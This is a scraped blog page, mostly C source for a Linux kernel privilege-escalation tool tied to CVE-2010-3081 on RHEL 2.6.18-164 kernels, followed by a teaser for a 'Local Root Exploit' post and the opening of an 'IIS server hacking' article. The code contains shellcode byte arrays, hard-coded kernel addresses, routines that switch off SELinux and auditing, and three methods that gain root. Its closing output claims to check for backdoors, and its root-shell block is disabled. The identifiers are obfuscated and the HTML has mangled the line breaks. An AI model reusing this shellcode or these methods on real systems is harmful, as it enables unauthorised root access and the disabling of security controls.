/>&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;xc3&quot;;<br /><br />/* implement selinux bypass for IDT ! */<br />#define RJMPDDTGR_OFF_IDT 14<br />#define RJMPDDTGR_DYHHTSFDARE 8<br />#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27<br />static char ruujhdbgatrfe345[]=<br />&quot;x0fx01xf8x65x48x8bx3cx25x00x00x00x00&quot;      <br />&quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                                  <br />&quot;x0fx01xf8&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x48xcf&quot;;  <br /><br />#define CJE_4554TFFDTRMAJHD_OFF  10<br />#define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23<br />static char dis4blens4sel1nuxhayettgdr64545[]=<br />&quot;x41x52x50&quot;<br />&quot;xb8x00x00x00x00&quot;<br />&quot;x49xbax41x41x41x41x41x41x41x41&quot;<br />&quot;x41x89x02&quot;<br />&quot;x49xbax42x42x42x42x42x42x42x42&quot;<br />&quot;x41x89x02&quot;<br />&quot;x58x41x5a&quot;;           <br /><br /><br />/* rhel LSM stuffs */<br />#define RHEL_LSM_OFF 98<br />struct LSM_rhel <br />{ <br />  __yyrhdgdtfs66ytgetrfd selinux_ops;<br />  __yyrhdgdtfs66ytgetrfd capability_ops;<br />  __yyrhdgdtfs66ytgetrfd dummy_security_ops;<br />  __yyrhdgdtfs66ytgetrfd selinux_enforcing;<br />  __yyrhdgdtfs66ytgetrfd audit_enabled;<br />  const char *krelease; <br />  const char *kversion;<br /><br />};<br />struct LSM_rhel known_targets[4]=<br />{<br />  {<br />    0xffffffff8031e600ULL,<br />    0xffffffff8031fec0ULL,<br />    0xffffffff804acc00ULL,<br />    0xffffffff804af960ULL,<br />    0xffffffff8049b124ULL,<br />    &quot;2.6.18-164.el5&quot;,<br />    &quot;#1 SMP Thu Sep 3 03:28:30 EDT 2009&quot;  // to manage minor/bug fix changes<br />  },<br />  {<br />   0xffffffff8031f600ULL,<br />   0xffffffff80320ec0ULL,<br />   0xffffffff804afc00ULL,<br />   0xffffffff804b2960ULL,<br />   0xffffffff8049e124ULL,<br />   &quot;2.6.18-164.11.1.el5&quot;,<br />   &quot;#1 SMP Wed Jan 6 13:26:04 EST 2010&quot;<br />  },<br />  {<br />    0xffffffff805296a0ULL,<br />    0xffffffff8052af60ULL,<br />    0xffffffff806db1e0ULL,<br />    0xffffffff806ddf40ULL,<br />    0xffffffff806d5324ULL,<br />    &quot;2.6.18-164.11.1.el5xen&quot;,<br />    &quot;#1 SMP Wed Jan 20 08:06:04 EST 2010&quot;   // default xen<br />  },<br />  {<br />    0xffffffff8031f600ULL,// d selinux_ops<br />    0xffffffff80320ec0ULL,// d capability_ops<br />    0xffffffff804afc00ULL,// B dummy_security_ops<br />    0xffffffff804b2960ULL,// B selinux_enforcing<br />    0xffffffff8049e124ULL,// B audit_enabled<br />    &quot;2.6.18-164.11.1.el5&quot;,<br />    &quot;#1 SMP Wed Jan 20 07:32:21 EST 2010&quot; // tripwire target LoL<br />   }<br />};<br />static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;<br />static int isSelinuxEnabled()<br />{<br />  FILE *selinux_f;<br />  selinux_f = fopen(SELINUX_PATH, &quot;r&quot;);<br />  if(selinux_f == NULL)<br />  {<br />    if(errno == EPERM)<br />      return 1;<br />    else <br />     return 0;<br />  }<br />  fclose(selinux_f);<br />  return 1;<br />}<br />static int wtfyourunhere_heee(char *out_release, char* out_version)<br />{<br /> int ret; const char*ptr;<br /> int count=0;<br /> char r[32], *bptr;<br /> struct utsname buf;<br /> ret =  uname(&amp;buf);<br /> if(ret &lt; 0)<br />   return -1; <br /><br /> strcpy(out_release, buf.release);<br /> strcpy(out_version, buf.version);<br /> ptr = buf.release;<br /> bptr = r;<br /> memset(r, 0x00, sizeof(r)); <br /> while(*ptr)<br /> {<br />   if(count == 2)<br />    {<br />      if(*ptr &gt;= &#039;0&#039; &amp;&amp; *ptr &lt;= &#039;9&#039;)<br />        *bptr++ = *ptr;<br />      else<br />        break;<br />    }<br /><br />   if(*ptr == &#039;.&#039;)<br />     count++;<br />   ptr++;<br /> }<br /> if(strlen(r) &lt; 1 || !atoi(r))<br />   return -1; <br /> return atoi(r); <br />}<br /><br />static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)<br />{<br />  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table-&gt;selinux_enforcing;<br />  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table-&gt;audit_enabled;<br />  __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); <br />  __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); <br />}<br /><br />static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)<br />{<br />  FILE *ka;<br />  char line[512];<br />  char reloc_a[64];<br />  char reloc[64];<br />  if(!(flags &amp; KERN_HHSYPPLORQTWGFD) &amp;&amp; !ignore_flag)<br />    return 0;<br />  <br />  ka = fopen(filename, &quot;r&quot;);<br />  if(!ka)<br />    return 0;<br />  while(fgets(line, 512, ka) != NULL)<br />  {<br />    char *l_p  = line;<br />    char *ra_p = reloc_a;<br />    char *r_p    = reloc;<br />    memset(reloc, 0x00, sizeof(reloc));<br />    memset(reloc_a, 0x00, sizeof(reloc_a));<br />    while(*l_p != &#039; &#039; &amp;&amp; (ra_p - reloc_a)  &lt; 64)<br />      *ra_p++ = *l_p++;  <br />    l_p += 3;<br />    while(*l_p != &#039; &#039; &amp;&amp; *l_p != &#039;<br />&#039; &amp;&amp; *l_p != &#039; &#039; &amp;&amp; (r_p - reloc) &lt; 64)<br />      *r_p++ = *l_p++;<br />    if(!strcmp(reloc, s))<br />    {<br />      return strtoull(reloc_a, NULL, 16); <br />    }<br />  }<br />  return 0; <br />}<br /><br />static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)<br />{<br />  return get_sym_ex(s, KALLSYMS, 0);<br />}<br />static int parse_cred(const char* val)<br />{<br />  int i=0;<br />  const char* p = val;<br />  char local[64], *l;<br />  for(i=0; i&lt;3; i++)  <br />  {<br />    memset(local, 0x00, sizeof(local));<br />    l = local;<br />    while(*p &amp;&amp; *p != &#039;,&#039;)<br />      *l++ = *p++;<br />    if(!(*p) &amp;&amp; i != 2)<br />      return -1;<br />    _m_cred[i] = strtoull(local, NULL, 16);<br />    p++;<br />  }<br /><br />  return 0; <br />}<br /><br />#define SELINUX_OPS        &quot;selinux_ops&quot;<br />#define DUMMY_SECURITY_OPS &quot;dummy_security_ops&quot;<br />#define CAPABILITY_OPS     &quot;capability_ops&quot;<br />#define SELINUX_ENFORCING  &quot;selinux_enforcing&quot;<br />#define AUDIT_ENABLED      &quot;audit_enabled&quot;<br />struct LSM_rhel *lsm_rhel_find_target(int check_rhel)<br />{<br />   int i;<br />   char mapbuf[128];<br />   struct LSM_rhel *lsm = &amp;(known_targets[0]);<br />   if(check_rhel &amp;&amp; !isRHHGDPPLADSF(krelease))<br />   {<br />     __pppp_tegddewyfg(&quot;!!! Not a RHEL kernel, will skip LSM method <br />&quot;);<br />     return NULL;<br />   }<br />   __print_verbose(&quot;$$$ Looking for known RHEL kernels.. <br />&quot;);<br />   for(i=0; i&lt;sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)<br />   {<br />     if(!strcmp(krelease, lsm-&gt;krelease) &amp;&amp; !strcmp(kversion, lsm-&gt;kversion))<br />     {<br />       __gggdfstsgdt_dddex(&quot;$$$ Known target kernel: %s %s <br />&quot;, lsm-&gt;krelease, lsm-&gt;kversion);<br />       return lsm;<br />     }<br />   }<br />   __print_verbose(&quot;$$$ Locating symbols for new target...<br />&quot;);<br />   strcpy(mapbuf, &quot;/boot/System.map-&quot;);<br />   strcat(mapbuf, krelease);<br />   dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf, 1);<br />   dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);<br />   dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);<br />   dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);<br />   dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);<br /><br />   if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||<br />      !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||<br />      !dyn4nt4n1labeggeyrthryt.capability_ops ||<br />      !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||<br />      !dyn4nt4n1labeggeyrthryt.audit_enabled)<br /> return NULL;<br /><br />   return &amp;dyn4nt4n1labeggeyrthryt;<br />}<br />void error_no_symbol(const char *symbol)<br />{<br />  fprintf(stderr,<br />          &quot;!!! Could not find symbol: %s<br />&quot;<br />          &quot;<br />&quot;<br />          &quot;A symbol required by the published exploit for CVE-2010-3081 is not<br />&quot;<br />          &quot;provided by your kernel.  The exploit would not work on your system.<br />&quot;,<br />          symbol);<br />  exit(-1);<br />}<br />static void put_your_hands_up_hooker(int argc, char *argv[])<br />{<br />  int fd,ver,ret;<br />  char __b[16];<br /><br />  fd = open(KALLSYMS, O_RDONLY);<br />  ret = read(fd, __b, 16); // dummy read<br />  if((fd &gt;= 0 &amp;&amp; ret &gt; 0))<br />  {<br />    __print_verbose(&quot;$$$ can read /proc/kallsyms, will use for convenience<br />&quot;); // d0nt p4tch m3 br0<br />    flags |= KERN_HHSYPPLORQTWGFD;<br />  }<br />  close(fd);<br />  ver = wtfyourunhere_heee(krelease, kversion);<br />  if(ver &lt; 0)<br />    __yyy_tegdtfsrer(&quot;!!! uname failed<br />&quot;);<br />  __gggdfstsgdt_dddex(&quot;$$$ Kernel release: %s<br />&quot;, krelease);<br /><br />  if(argc != 1)<br />  {<br />    while( (ret = getopt(argc, argv, &quot;sflc:k:o:&quot;)) &gt; 0)<br />    {<br />      switch(ret)<br />      {<br />        case &#039;f&#039;:<br />          flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;<br />          break;<br /><br /> case &#039;l&#039;:<br />   flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;<br />   break;<br />        case &#039;c&#039;:<br />          if(!optarg || parse_cred(optarg) &lt; 0)<br />              __yyy_tegdtfsrer(&quot;!!! Unable to parse cred codes<br />&quot;);<br />          break;<br />        case &#039;k&#039;:<br />          if(optarg)<br />            _m_fops = strtoull(optarg, NULL, 16);<br />          else<br />      __yyy_tegdtfsrer(&quot;!!! Unable to parse fops numbers<br />&quot;);<br />          break;<br />        case &#039;s&#039;:<br />          if(!isSelinuxEnabled())<br />            __pppp_tegddewyfg(&quot;??? -s ignored: SELinux not enabled<br />&quot;);<br />          else<br />            flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;<br />          break;<br />            <br />        case &#039;o&#039;:<br />          if(optarg)<br />            _m_cpu_off = strtoull(optarg, NULL, 16);<br />   else<br />     __yyy_tegdtfsrer(&quot;!!! Unable to parse cpu_off numbers<br />&quot;);<br />          break;<br />      }<br />    }<br />  }<br /><br />  if(ver &gt;= 29) // needs cred structure <br />  {<br />    flags |= KERN_DGGDYDTEGGETFDRLAK;<br />  <br />    if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])<br />    {<br />      _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);<br />      _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD); <br />      _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);<br />    }<br />    if(!_m_cred[0])<br />      error_no_symbol(&quot;prepare_creds&quot;);<br />    if(!_m_cred[1])<br />      error_no_symbol(&quot;override_creds&quot;);<br />    if(!_m_cred[2])<br />      error_no_symbol(&quot;revert_creds&quot;);<br />    <br />    __print_verbose(&quot;$$$ Kernel credentials detected<br />&quot;);<br />    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];<br />    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];<br />    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];<br />  }<br />  if(ver &gt;= 30)  // needs cpu offset<br />  {<br />    flags |= KERN_DHHDYTMLADSFPYT;<br />    if(!_m_cpu_off)<br />    _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);<br />    if(!_m_cpu_off)<br />      error_no_symbol(&quot;per_cpu__current_task&quot;);<br />    __print_verbose(&quot;$$$ Kernel per_cpu relocs enabled<br />&quot;);<br />    *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;<br />    *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;<br />  }<br />}<br /><br />static void env_prepare(int argc, char* argv[])<br />{<br />  put_your_hands_up_hooker(argc, argv);<br />  if(!(flags &amp; KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops<br />  {<br />    __print_verbose(&quot;??? Trying the timer_list_fops method<br />&quot;);<br />    if(!_m_fops)<br />      _m_fops = get_sym(RW_FOPS);<br />    /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO<br />     * Thanks to the guy who killed this vector... you know who you are:)<br />     * Lucky for you, there are more:) <br />     */<br />    if(_m_fops) <br />    {<br />      usefops=1;<br />    }<br />  }<br /><br />  if(!(flags &amp; KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)<br />  {<br />    __print_verbose(&quot;??? Trying the LSM method<br />&quot;);<br />    curr_target = lsm_rhel_find_target(1);<br />    if(!curr_target)<br />    {<br />       __print_verbose(&quot;!!! Unable to find target for LSM method<br />&quot;); <br />    }<br />    else {<br />      uselsm=1;<br />    }<br />  }<br /><br />  if(useidt &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))<br />  {<br />    // -i flag<br />    curr_target = lsm_rhel_find_target(0);<br />    if(!curr_target)<br />    {<br />       __pppp_tegddewyfg(&quot;!!! Unable to find target: continue without SELinux disabled<br />&quot;);<br />       /* remove Selinux Flag */<br />       flags &amp;= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;<br />    }<br />  }<br /><br />  if(!usefops &amp;&amp; !useidt &amp;&amp; !uselsm)<br />    __yyy_tegdtfsrer(&quot;!!! All exploit methods failed.<br />&quot;);  <br />}<br /><br />static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)<br />{<br />  int socklen_l = 8 + stack - addr - 16;<br />  return socklen_l;<br />}<br /><br />static void __setmcbuffer(__dgdhdytrg55 value)<br />{<br />  int i;<br />  __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;<br />  for(i=0; i&lt;sizeof(buffer)/sizeof(void*); i++)<br />    *(p+i) = value;<br />}<br /><br />static void y0y0stack()<br />{<br />  void* map = mmap((void*)Y0Y0SMAP, <br />                   PAGE_SIZE, <br />                   PROT_READ|PROT_WRITE, <br />                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, <br />                   -1,0);<br />  if(MAP_FAILED == map)<br />    __xxxfdgftr_hshsgdt(&quot;mmap&quot;); <br />}<br />static void y0y0code()<br />{<br />  void* map = mmap((void*)Y0Y0CMAP, <br />                   PAGE_SIZE, <br />#ifdef TRY_REMAP_DEFAULT <br />     PROT_READ|PROT_WRITE,<br />#else<br />                   PROT_READ|PROT_WRITE|PROT_EXEC, <br />#endif<br />                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, <br />                   -1,0);<br />  if(MAP_FAILED == map)<br />    __xxxfdgftr_hshsgdt(&quot;mmap&quot;); <br />}<br /><br />static int rey0y0code(unsigned long old)<br />{<br />  int fd;<br />  void *map;<br />  volatile char wizard;<br />  char cwd[1024];<br />  getcwd(cwd, sizeof(cwd));  <br />  strcat(cwd, &quot;/__tmpfile&quot;);<br /><br />  unlink(cwd);<br />  fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);<br />  if(fd &lt; 0)<br />    return -1; <br />  write(fd, (const void*)old, PAGE_SIZE); <br />  if(munmap((void*)old, PAGE_SIZE) &lt; 0)<br />    return -1;<br />  map = mmap((void*)old, <br />                   PAGE_SIZE, <br />                   PROT_READ|PROT_EXEC, <br />                   MAP_PRIVATE|MAP_FIXED, <br />                   fd,0);<br />  if(map == MAP_FAILED)<br />    return -1; <br /><br />  /* avoid lazy page fault handler <br />   * Triple Fault when using idt vector <br />   * and no pages are already mapped:)<br />   */<br />  wizard = *((char*)old);<br />  unlink(cwd);<br />  return wizard; <br />}<br />void finish_shellcode()<br />{ <br />  /* set shellcode level 2 */<br />  if(flags &amp; KERN_DGGDYDTEGGETFDRLAK)<br />  {<br />    __print_verbose(&quot;$$$ Using cred shellcode<br />&quot;);<br />    __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));<br />  }<br />  else<br />  {<br />    __print_verbose(&quot;$$$ Using standard shellcode<br />&quot;);<br />    __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));<br />    *((unsigned int*)(J0J0R00T + R0C_0FF)) = getuid();<br />  }<br />#ifdef TRY_REMAP_DEFAULT<br />  if(rey0y0code(Y0Y0CMAP) &lt; 0)<br />    __yyy_tegdtfsrer(&quot;!!! Unable to remap<br />&quot;);<br />#endif<br />}<br />int method_idt_main()<br />{<br />  __yyrhdgdtfs66ytgetrfd *patch;<br />  __print_verbose(&quot;$$$ Building shellcode - IDT method<br />&quot;);   <br />  patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);<br />  *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);<br />  if(flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)<br />  {<br />    __print_verbose(&quot;$$$ including code to disable SELinux<br />&quot;);<br />    p4tch_sel1nux_codztegfaddczda(curr_target);<br />  }<br />    <br />  __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));<br />  finish_shellcode();<br />  asm volatile(&quot;int $0xdd<br />&quot;);<br />  return (getuid() == 0);<br />}<br />int method_idt()<br />{<br />  /* method_idt_main() crashes if no backdoor is present, so protect ourselves */<br />  int pid;<br />  pid = fork();<br />  if (pid &lt; 0) {<br />    __xxxfdgftr_hshsgdt(&quot;!!! fork() failed&quot;);<br />    return 0; // error<br />  }<br />  if (pid == 0) {<br />    int r;<br />    struct rlimit rlim = {0, 0};<br />    setrlimit(RLIMIT_CORE, &amp;rlim);<br />    r = method_idt_main();<br />    exit(r ? 0 : 1);<br />  }<br />  int status;<br />  waitpid(pid, &amp;status, 0);<br />  if (status == 0)<br />    return method_idt_main();<br />  else<br />    return 0;<br />}<br />void prepare_fops_lsm_shellcode()<br />{<br />  __yyrhdgdtfs66ytgetrfd *patch;<br />  __print_verbose(&quot;$$$ Building shellcode - fops/LSM method<br />&quot;);   <br />  patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);<br />  *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);<br />  __setmcbuffer(J0J0S);<br />  if(uselsm &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))<br />  {<br />      __print_verbose(&quot;$$$ including code to disable SELinux<br />&quot;);<br />      p4tch_sel1nux_codztegfaddczda(curr_target);<br />  } <br />  __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));<br />  finish_shellcode();<br />}<br />int method_fops()<br />{<br />  int fd;<br />  struct pollfd pfd;<br />  prepare_fops_lsm_shellcode();<br />  fd = open(TMAGIC_66TDFDRTS, O_RDONLY);<br />  if(fd &lt; 0)<br />    __xxxfdgftr_hshsgdt(&quot;!!! could not open /proc/timer_list&quot;);<br />  <br />  pfd.fd = fd;<br />  pfd.events = POLLIN | POLLOUT;<br />  poll(&amp;pfd, 1, 0);<br />  return (getuid() == 0);<br />}<br />int method_lsm()<br />{<br />  int msqid;<br />  prepare_fops_lsm_shellcode();<br />  msqid = msgget(0, IPC_PRIVATE|0600);<br />  if(msqid &lt; 0)<br />    __xxxfdgftr_hshsgdt(&quot;!!! msgget() failed&quot;);<br />  msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it<br />  return (getuid() == 0);<br />}<br />int main(int argc, char*argv[])<br />{<br />  int done;<br />  printf(BANNER);<br />  if (getuid() == 0) {<br />    fprintf(stderr, &quot;!!! Must run as non-root.<br />&quot;);<br />    return 1;<br />  }<br />  env_prepare(argc, argv);<br />  y0y0stack(); <br />  y0y0code();<br />  done = 0;<br />  __pppp_tegddewyfg(&quot;$$$ Backdoor in LSM (1/3): &quot;);<br />  if (uselsm) {<br />    __pppp_tegddewyfg(&quot;checking...&quot;);<br />    done = method_lsm();<br />    if (done)<br />      __pppp_tegddewyfg(&quot;PRESENT<br />&quot;);<br />    else<br />      __pppp_tegddewyfg(&quot;not present.<br />&quot;);<br />  } else {<br />    __pppp_tegddewyfg(&quot;not available.<br />&quot;);<br />  }<br />  if (!done) {<br />    __pppp_tegddewyfg(&quot;$$$ Backdoor in timer_list_fops (2/3): &quot;);<br />    if (usefops) {<br />      __pppp_tegddewyfg(&quot;checking...&quot;);<br />      done = method_fops();<br />      if (done)<br />        __pppp_tegddewyfg(&quot;PRESENT<br />&quot;);<br />      else<br />        __pppp_tegddewyfg(&quot;not present.<br />&quot;);<br />    } else {<br />      __pppp_tegddewyfg(&quot;not available.<br />&quot;);<br />    }<br />  }<br />  if (!done) {<br />    __pppp_tegddewyfg(&quot;$$$ Backdoor in IDT (3/3): &quot;);<br />    if (useidt) {<br />      __pppp_tegddewyfg(&quot;checking...&quot;);<br />      fflush(stdout);<br />      done = method_idt();<br />      if (done)<br />        __pppp_tegddewyfg(&quot;PRESENT<br />&quot;);<br />      else<br />        __pppp_tegddewyfg(&quot;not present.<br />&quot;);<br />    } else {<br />      __pppp_tegddewyfg(&quot;NOT CHECKING<br />&quot;);<br />    }<br />  }<br />  munmap((void*)Y0Y0CMAP, PAGE_SIZE);<br />  /* exec */<br />  if(getuid() == 0)<br />  {<br />    pid_t pid;<br />    printf(&quot;<br />&quot;<br />           &quot;Your in-memory kernel HAS A BACKDOOR that may have been left<br />&quot;<br />           &quot;by the published exploit for CVE-2010-3081.<br />&quot;<br />           &quot;<br />&quot;<br />           &quot;More information is available at<br />&quot;<br />           &quot;  <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a><br />&quot;<br />           );<br />    if (0) {<br />      /* spawn root shell as demonstration */<br />      pid = fork();<br />      if(pid == 0)<br />      {<br />        char *args[] = {&quot;/bin/sh&quot;, &quot;-i&quot;, NULL};<br />        char *envp[] = {&quot;TERM=linux&quot;, &quot;BASH_HISTORY=/dev/null&quot;, &quot;HISTORY=/dev/null&quot;, &quot;history=/dev/null&quot;, &quot;HISTFILE=/dev/null&quot;, &quot;HISTFILESIZE=0&quot;,<br />                        &quot;PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin&quot;, NULL };<br />        execve(&quot;/bin/sh&quot;, args, envp);<br />      } <br />      else  <br />      {<br />        int status;<br />        waitpid(pid, &amp;status, 0);<br />      }<br />    }<br />  }<br />  else {<br />    printf(&quot;<br />&quot;<br />           &quot;Your system is free from the backdoors that would be left in memory<br />&quot;<br />           &quot;by the published exploit for CVE-2010-3081.<br />&quot;);<br />  }<br />  close(s);<br />  return 0;<br />}</blockquote><br /><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em>Regards,</em><br /><em>Hardeep Singh</em><br /><em>(</em><a href="http://www.fb.com/h4rdeep" target="_blank"><em>www.fb.com/h4rdeep</em></a><em>)</em><br /></span><br class="Apple-interchange-newline" /> </div>

kernel-2.6.18-164 2010 Local Root Exploit

Kernel-2.6.18-164 2010 Local Root Exploit Save this code as a c program file. Code: /* kernel-2.6.18-164 2010 Local Root Exploit ===========...

Read more »

IIS server hacking

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">What are IIS Components? Learn IIS server hacking</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="8415095688671279221"><div><span class="sidebar-title"><b><center>IIS Components</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">IIS relies heavily on a collection of DLLs that work together with the main server process, inetinfo.exe, to provide various capabilities.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Example: Server side scripting, Content Indexing, Web Based printing etc.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">This architecture provides attackers with different functionality to exploit via malicious input.</div></li></ul></div><div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-title" valign="top"></td><td class="admon-body" valign="top"><div class="first-para">IIS relies heavily on a collection of DLLs that work together with the main server process, <b class="bold"><i class="emphasis">inetinfo.exe,</i></b> to provide various capabilities. Example: Server side scripting, Content Indexing, Web Based printing etc. This architecture provides attackers with different functionality to exploit via malicious input. On a IIS Web server with no service packs or hot fixes applied, there are way too many ways that a command shell can be invoked through inetinfo.exe, the IIS process. Yet, there is no reason for inetinfo.exe to be invoking a shell.</div></td></tr></tbody></table><div class="para">IIS consists of several components. These include:</div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Background Intelligent Transfer Service (BITS) server extension: BITS is a background file transfer mechanism used by applications such as Windows Updates and Automatic Updates.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Common Files: On a dedicated Web server, these files are required by IIS and must always be enabled.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">File Transfer Protocol (FTP) Service: Allows the Web server to provide FTP services. This component is not required on a dedicated Web server. However, this may be enabled on a server that is only used for posting content, to support software such as Microsoft FrontPage® 2002 without enabling FrontPage 2002 Server Extensions. Because the FTP credentials are always sent in plaintext, it is recommended to connect to FTP servers through a secured connection, such as those provided by IPSec or a VPN tunnel.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">FrontPage 2002 Server Extensions: Provides FrontPage support for administering and publishing Web sites. On a dedicated Web server, this must be disabled when no Web sites are using FrontPage Server Extensions.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Internet Information Services Manager: Administrative interface for IIS. This is to be disabled when the Web server is not administered locally.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; 